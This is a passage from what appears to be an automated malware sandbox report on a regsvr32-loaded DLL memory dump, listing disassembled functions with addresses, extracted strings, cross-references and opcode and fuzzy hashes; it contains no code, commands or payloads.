Opcode Fuzzy Hash: 81226de3c00d9588fcdb855554b2562b3d5d50c3db8a2dd8ff0fab91db437570
Instruction Fuzzy Hash: 5B31C4B0528781AFC798DF28D09991ABBF1FBC9304F806A1DF98A8B350D774D845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012044 Relevance: 2.6, Strings: 2, Instructions: 67COMMON

Download Yara Rule

Strings

+N, xrefs: 0000000180012133
:s[, xrefs: 000000018001209B

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: +N$:s[
API String ID: 0-2992701377
Opcode ID: 59945e4bfd5c1812b410bc992af75b99beb9f24da50121ece688e224e72b4b08
Instruction ID: 2af45dfac4c7ae0da7497fa8c295952f08e7f96bebb69c710dc1a077a3b8364b
Opcode Fuzzy Hash: 59945e4bfd5c1812b410bc992af75b99beb9f24da50121ece688e224e72b4b08
Instruction Fuzzy Hash: 443192B5528381ABC388DF28C48A81FBBE1FBC9359F806A1DF8C696261D734D5458B43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024370 Relevance: 2.6, Strings: 2, Instructions: 64COMMON

Download Yara Rule

Strings

'yN, xrefs: 000000018002441B
k, xrefs: 0000000180024379

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'yN$k
API String ID: 0-35230329
Opcode ID: 664b9cbffe37651652d085acf9af43cce7b6a19192dfc0ee1d7ff8525738b321
Instruction ID: 07b651401a32326000ca6cd35722393aebb0696fbf8e2d5e5a89f081ef8d3ba1
Opcode Fuzzy Hash: 664b9cbffe37651652d085acf9af43cce7b6a19192dfc0ee1d7ff8525738b321
Instruction Fuzzy Hash: DE318FB191478E8BDB48DF68D8494DF3BF0FB58308F004A29EC6A9A250D7B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800024C0 Relevance: 2.6, Strings: 2, Instructions: 51COMMON

Download Yara Rule

Strings

]2F, xrefs: 0000000180002531
lt, xrefs: 000000018000254B

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ]2F$lt
API String ID: 0-3307743551
Opcode ID: e35954fd64214c4dc75024e05a92e9afc61a62ba820b5d5e41e037a5dcd882da
Instruction ID: b2e8e3d622355c2c7a8d87ad16832996e77f732c72c2020fcd3ed114b96953d1
Opcode Fuzzy Hash: e35954fd64214c4dc75024e05a92e9afc61a62ba820b5d5e41e037a5dcd882da
Instruction Fuzzy Hash: BC218C70528385ABC798CF24C1CA94BBBE1FBD4758F906A0DF8828B264D774D909CB43

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001667C Relevance: 1.5, Strings: 1, Instructions: 274COMMON

Download Yara Rule

Strings

t2i., xrefs: 000000018001687D

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: t2i.
API String ID: 0-2317288456
Opcode ID: ddf1efb97a931d6c5f3ee8c67c3fa2b44aa9af6db9e4e5e1b98fbf81237c32be
Instruction ID: 45fd1b4f7d9ae1bb3a1595fd0447dfa3858b4c22850e921c91e36994c5fa5290
Opcode Fuzzy Hash: ddf1efb97a931d6c5f3ee8c67c3fa2b44aa9af6db9e4e5e1b98fbf81237c32be
Instruction Fuzzy Hash: F4C17C709197489BD7D6DF18C48579EBBE0FB88344F906A1EF486C72A0CB34DA49CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001AEC8 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

!, xrefs: 000000018001B19C

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !
API String ID: 0-133318149
Opcode ID: 9a28524a62feba04ad602aea3c6b43a9e37f0bb3cb72c69032c5b680e6eaa856
Instruction ID: 4d490125f0736c0523a0bc8c54046deb818a488a36854fcf26dc18eb231edbc7
Opcode Fuzzy Hash: 9a28524a62feba04ad602aea3c6b43a9e37f0bb3cb72c69032c5b680e6eaa856
Instruction Fuzzy Hash: 94C1277090474D8BDF48DF68C88A6EE7BF1FB48358F15821DE84AA7250C7789949CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001980 Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

GP, xrefs: 00000001800019A8

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: GP
API String ID: 0-809347306
Opcode ID: c18687982be6c1a2fdabfac97a268a3404b4fe9754ccd0dba6adaab26aa3d97e
Instruction ID: b8cc07b6ee5f07dffcf88ae53723e0b0b514af2364763fc1c4f878c703b2f424
Opcode Fuzzy Hash: c18687982be6c1a2fdabfac97a268a3404b4fe9754ccd0dba6adaab26aa3d97e
Instruction Fuzzy Hash: 35C18BB190060DCFCF68CF78D55A59D7BF1BB48308F606229F826AA2A2D3B49915CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014484 Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

G, xrefs: 00000001800145F6

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: G
API String ID: 0-4067352199
Opcode ID: 571051391216adea76df2afa30ecc8bad161d89b390d9c97388838629c1a5ca4
Instruction ID: 225e36911d9d240547ab15c987b60d96220a9315f181ed6db9e7231e26a901aa
Opcode Fuzzy Hash: 571051391216adea76df2afa30ecc8bad161d89b390d9c97388838629c1a5ca4
Instruction Fuzzy Hash: 54A11871A0460CCFDF59DFA8C44A6DDB7F2FB48344F104529E816BB261CB749909CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018190 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

:d, xrefs: 0000000180018267

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :d
API String ID: 0-1981401805
Opcode ID: 7e01d6742b691afee721fc3f193522d49c245a6ce31efde50cdf5c406c664d98
Instruction ID: 210e0c3814bb066ec4f0600647a6f8918949d15d236ac433349e910c02a539df
Opcode Fuzzy Hash: 7e01d6742b691afee721fc3f193522d49c245a6ce31efde50cdf5c406c664d98
Instruction Fuzzy Hash: 55B1067150560DDFCB88DF28C089ADE7BE0FF58308F825229F80AA7255D774DA98DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800207BC Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

'NL, xrefs: 00000001800208CD

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'NL
API String ID: 0-130891299
Opcode ID: 8a3ed407222c8cc95b4195594c73c0a0709bd4276b41a18d313f15a757072ddc
Instruction ID: bb2c5b98f4e45d76fdff147334347c6d164a6d6c8cf2b5048c0250209dce3a22
Opcode Fuzzy Hash: 8a3ed407222c8cc95b4195594c73c0a0709bd4276b41a18d313f15a757072ddc
Instruction Fuzzy Hash: 08816770900748CFDB99CF68C4896DE7BF0FB48394F609129F94697261C774D989CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001705C Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

ETz, xrefs: 0000000180017234

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ETz
API String ID: 0-3877082699
Opcode ID: a70674ad09814c9e1798ed159b67f00a2b9c82905ce41e3639f5d760caf2f047
Instruction ID: db1a2cf02a49f3c5a1febdf95057c2803ba9c7043f43a3a74a84a847f8708688
Opcode Fuzzy Hash: a70674ad09814c9e1798ed159b67f00a2b9c82905ce41e3639f5d760caf2f047
Instruction Fuzzy Hash: 6281BC34A0674CCBDB65CFA8C0897CDBBF1FF68348F104119E915AA2A6CB70D559CB89

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800261E0 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

#;*z, xrefs: 00000001800264EE

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #;*z
API String ID: 0-1682342327
Opcode ID: b680f4a085bd44a123493e5971e743dba8c621f53e8aa86b84bd23ce7ca92522
Instruction ID: dbf9c55ae058a2f54c24d1eac6a5ff2fe61b468a3017e99be0a6ffbf3af3057b
Opcode Fuzzy Hash: b680f4a085bd44a123493e5971e743dba8c621f53e8aa86b84bd23ce7ca92522
Instruction Fuzzy Hash: EF91E0715042888FCBB9DF24D88A7DA7BA1FB45348F50C229D88ECE261DFB0564DDB01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024570 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

dQ, xrefs: 00000001800246B3

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: dQ
API String ID: 0-4190919517
Opcode ID: 97a4412cc2303f28c05fec1f0b2e1d428cb8767c43294622f9f6b74118afce77
Instruction ID: 9d729ecabb7b74207a0fd84f221a36cedb2a9a3a0e5d95724699f54aa2ea8075
Opcode Fuzzy Hash: 97a4412cc2303f28c05fec1f0b2e1d428cb8767c43294622f9f6b74118afce77
Instruction Fuzzy Hash: 3E71E7711187988BDBFDCF28CC857D97BA6FB44744F20811CE84E8E261DB749A89CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D7AC Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

)0, xrefs: 000000018000D866

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: )0
API String ID: 0-1029681778
Opcode ID: 40e7eb8740bf53d50ac0b689975ccfd72f61ab29a6f5010a355cdccaad617979
Instruction ID: 121df312e681884aeaf9abe1505228ce9ff72d97cb51e4d07d955d8bff2ee376
Opcode Fuzzy Hash: 40e7eb8740bf53d50ac0b689975ccfd72f61ab29a6f5010a355cdccaad617979
Instruction Fuzzy Hash: 6851673861660CCBDB69DF78D4852E93BE0FF69344F20402DFC6687266DB34D52A8B58

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012168 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

Uerm, xrefs: 0000000180012269

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Uerm
API String ID: 0-3179360214
Opcode ID: 9ac54ab8c90a486f4441a78f79c66deafdf79af98abc137c17ed1b11debabc8b
Instruction ID: 041d59295089493447bb19a8378e04636211af5195b78f50b28b80e802418f55
Opcode Fuzzy Hash: 9ac54ab8c90a486f4441a78f79c66deafdf79af98abc137c17ed1b11debabc8b
Instruction Fuzzy Hash: AD6103B190061A8FCF48DFA8C48A5EEBBB1FB58344F10822DE815AB365C7749A55CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800059AC Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

NRx, xrefs: 0000000180005B20

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: NRx
API String ID: 0-1393999616
Opcode ID: b4a4ba5d31bb0dbda5b37bf156645da5abce175ef766aa9e7dc128ab78272a52
Instruction ID: 7c3eed2061eb3ea8b6bf0d1c70d9a16e0a2e2a77544f255897bb26607a47427d
Opcode Fuzzy Hash: b4a4ba5d31bb0dbda5b37bf156645da5abce175ef766aa9e7dc128ab78272a52
Instruction Fuzzy Hash: 46416C706197489BD3E5DF28C08679FBAE0FB88745F90A92DF585C32A1CB74C9488B43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024104 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

{dN, xrefs: 00000001800241F3

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: {dN
API String ID: 0-923835543
Opcode ID: 9e75a9b6c969771d2fbed292b07595da2e1a6dc424cdc2e689696f47c6000392
Instruction ID: f9e1d774cd1a5aafce577d99eb21246fb33c51757267e19de4f8e3655d4c3e4d
Opcode Fuzzy Hash: 9e75a9b6c969771d2fbed292b07595da2e1a6dc424cdc2e689696f47c6000392
Instruction Fuzzy Hash: A24118B091470D8BCF48DFA8C58A1DEBFB1FB483A8F25521DE90AB6250C7749585CF88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029134 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

hT, xrefs: 0000000180029140

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: hT
API String ID: 0-434349927
Opcode ID: 6dc475388242e87dfd02804309664708b9ba0169bf98e34e56dbb37a95c1b731
Instruction ID: 79a86a43dda6c0bf54cad5f70c675ce2074b99fb8c760d3b3e2f6daa19ea02a9
Opcode Fuzzy Hash: 6dc475388242e87dfd02804309664708b9ba0169bf98e34e56dbb37a95c1b731
Instruction Fuzzy Hash: 2A5190B190038E8BCB48DF68C88A5DE7BB0FB58308F104A19FC65A6250D7B4D669CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800135A6 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: 775cc355a8dd2b6f1bc8d8548c4489e17c5a54c9aeae587b6d573d3d7a9b0f7e
Instruction ID: ff83c9861e3aef96e788ade2e95c5d31a765335f039db5447ff320373d52f62b
Opcode Fuzzy Hash: 775cc355a8dd2b6f1bc8d8548c4489e17c5a54c9aeae587b6d573d3d7a9b0f7e
Instruction Fuzzy Hash: 524127B190434A8BCF48DF64C88A4DE7FB1FB58348F10861DEC5AA7250D7749659CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800079EC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

\>, xrefs: 0000000180007A45

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: \>
API String ID: 0-4115654482
Opcode ID: ec85be460c7c8dfb7cf3a46c57a1e14dcdd929cba8cf803056f6d038e5aaf727
Instruction ID: c8bfe62f06df19f0db5cc8e5fd5c20be0a97c60a2c34a345c5b0509f61aa275d
Opcode Fuzzy Hash: ec85be460c7c8dfb7cf3a46c57a1e14dcdd929cba8cf803056f6d038e5aaf727
Instruction Fuzzy Hash: 5041B0B490038E8FDB48DF65D8895DE7BB0FB48358F104A1AEC25A6250D7B4D664CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F6DC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

UfMm, xrefs: 000000018001F81D

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: UfMm
API String ID: 0-3877223347
Opcode ID: dec106b4a764423c6080cde6e3c380fc2c4206b9dd3c84e9483206ca750e3b76
Instruction ID: c77ef5b6f515275834e01b5fcfcfc22ffe1a93dbca634ff8363d49e0f941db2a
Opcode Fuzzy Hash: dec106b4a764423c6080cde6e3c380fc2c4206b9dd3c84e9483206ca750e3b76
Instruction Fuzzy Hash: A1519EB190474E8BCF49CF64C48A5DE7FB0FB68398F214219E85A96250D3B8D6A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800173DC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

^I%, xrefs: 0000000180017487

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ^I%
API String ID: 0-4091345571
Opcode ID: 3f12ff418f07ff0dffb22bdd7eb3939b0fd24fdb2c19c7287af7d17ae91e7243
Instruction ID: 24279a7f0b8a810ed47d94a020ccddcda864278dcc3d62ea9a1aafd37f1cc870
Opcode Fuzzy Hash: 3f12ff418f07ff0dffb22bdd7eb3939b0fd24fdb2c19c7287af7d17ae91e7243
Instruction Fuzzy Hash: D641C2B090074E8BCB48DF68C58A4DE7FF0FB68398F204219EC16A6250D3B496A4CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008370 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

E, xrefs: 0000000180008443

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E
API String ID: 0-4189953480
Opcode ID: 6b2582ab6db5c886dc2d719d00820c997d2b994a7b2935478f04cfa12a5363ce
Instruction ID: 97bb68eb89739962e45bd832e2874dcd633b22f5609a7b84b761109d701c7c23
Opcode Fuzzy Hash: 6b2582ab6db5c886dc2d719d00820c997d2b994a7b2935478f04cfa12a5363ce
Instruction Fuzzy Hash: B341D5B491038E8FCF88DF69D8495DE7BB0FB18358F104A19EC2AA6250D3B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002582C Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

JLq, xrefs: 0000000180025857

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: JLq
API String ID: 0-4186083495
Opcode ID: 8d9a50e123908ca919991315c6f3e14c53aa3b8bc44063858183d3498e4e8681
Instruction ID: 27128c2ca0a5d288d3179379bf0eddb2aee49c7a11679c2610c242e98f2fdc84
Opcode Fuzzy Hash: 8d9a50e123908ca919991315c6f3e14c53aa3b8bc44063858183d3498e4e8681
Instruction Fuzzy Hash: 3C41D5B090064E8FDF48CF68C4865EE7BF1FB58358F114229E846AA254C7789A95CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800150F0 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

vYa-, xrefs: 0000000180015210

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: vYa-
API String ID: 0-893662192
Opcode ID: 035fd408088c0482a5a9e27521314a342b14366a032dbf1fe9b8c33d69753ec7
Instruction ID: ed719b7027dd4d7706803f37edca27847d3dc95415a6febebb675a1e15796353
Opcode Fuzzy Hash: 035fd408088c0482a5a9e27521314a342b14366a032dbf1fe9b8c33d69753ec7
Instruction Fuzzy Hash: 0741C0B090034E8FCF48CF64D88A5DE7FB0FB68398F104619E856A6250D7B896A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015BB8 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

< dA, xrefs: 0000000180015C3D

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: < dA
API String ID: 0-2747138368
Opcode ID: 207b38533736b510735db2aca9d27c508cf70737fe24697ea278d93009114e66
Instruction ID: 677e9d37894352eedc94dfbe70e1d5a5f16f85bbcaa69aa355918790c22682b0
Opcode Fuzzy Hash: 207b38533736b510735db2aca9d27c508cf70737fe24697ea278d93009114e66
Instruction Fuzzy Hash: 2741A0B180074E8FCB49CF64D48A4DE7FB0FB68388F204619E856A6254D7B496A8CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800135B4 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: 8dc8ab0dff87e9b75af9bc87b01f2b240cfc8c73fd94611f7c31912defe47775
Instruction ID: 9835b62cc5c81bb08ffa4c0ed138b56601e81b85f9b16a4ced47218125f66503
Opcode Fuzzy Hash: 8dc8ab0dff87e9b75af9bc87b01f2b240cfc8c73fd94611f7c31912defe47775
Instruction Fuzzy Hash: FC41E4B090434A8BCF48DF64C88A4DE7FB1FB58348F11861DEC5AA6250D7B496A9CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F878 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

}]T*, xrefs: 000000018001F95B

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: }]T*
API String ID: 0-3642313528
Opcode ID: 7849323620c58637c1544052bb138ebef222585afcb74db7dd86457f284b6379
Instruction ID: a9b4d124700f7192ec0ffbe58db6f2cedd89af67995077d1789eaf9c0a4fefb8
Opcode Fuzzy Hash: 7849323620c58637c1544052bb138ebef222585afcb74db7dd86457f284b6379
Instruction Fuzzy Hash: 624191B191074E9FCF48DF64D48A4DE7FB0FB68388F214619E816A6210D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013568 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: da61243a15702063775777e79984a8309a15a56a41d8ca6f71a856d03373fb1d
Instruction ID: 13a44cd4838b071505596f301d9460f32b91f3f909068c68e30d7ec81fe075ae
Opcode Fuzzy Hash: da61243a15702063775777e79984a8309a15a56a41d8ca6f71a856d03373fb1d
Instruction Fuzzy Hash: 194104B090434A8BCF48CF64C88A4DE7FB1FB58348F10861DEC5AA6250D7B496A8CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E5D4 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

N8$, xrefs: 000000018000E64E

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: N8$
API String ID: 0-2933465586
Opcode ID: 0eb94b4c30cdf64432c8dd49aa40656dc32a215d341cf791ffb885c3adf2427e
Instruction ID: 297b3d980fd839d27da657b87e2df8633a1b9c783a0b67fb1012bddc2283f9fe
Opcode Fuzzy Hash: 0eb94b4c30cdf64432c8dd49aa40656dc32a215d341cf791ffb885c3adf2427e
Instruction Fuzzy Hash: 0241827180078E8FCB45CF64D88A4CE7FB0FB18358F105A19F865A7260D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B564 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

wk, xrefs: 000000018002B5A3

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: wk
API String ID: 0-1447520534
Opcode ID: 0a0edc96079985f20ed57ef59bebf533c7b67d56244039d22a088e51808c84b4
Instruction ID: ed1e7f9bc21f483ed76e74f249cc539d96e15df8e9c5d2752f3a18cd8a4680c8
Opcode Fuzzy Hash: 0a0edc96079985f20ed57ef59bebf533c7b67d56244039d22a088e51808c84b4
Instruction Fuzzy Hash: A041C4B180074E8BCB48DF68D48A4CE7FF0FB68398F10461DE859A6250D7B49AA4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025180 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

D7 , xrefs: 000000018002519E

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D7
API String ID: 0-599489778
Opcode ID: 0decf5b59288eb500aae667ac6c9b4e4dce6b838f673c5fc17c927a6ca0452b7
Instruction ID: 9ff7da26f915c3fd9b9081bc776a27ba1207aebd425a4d5bef8b93ab939ca450
Opcode Fuzzy Hash: 0decf5b59288eb500aae667ac6c9b4e4dce6b838f673c5fc17c927a6ca0452b7
Instruction Fuzzy Hash: 4541B0B090074E8BCF48DF68D4965DE7FB0FB68388F20421DE816A6250D7B496A5CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800048B0 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

-, xrefs: 00000001800048BC

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
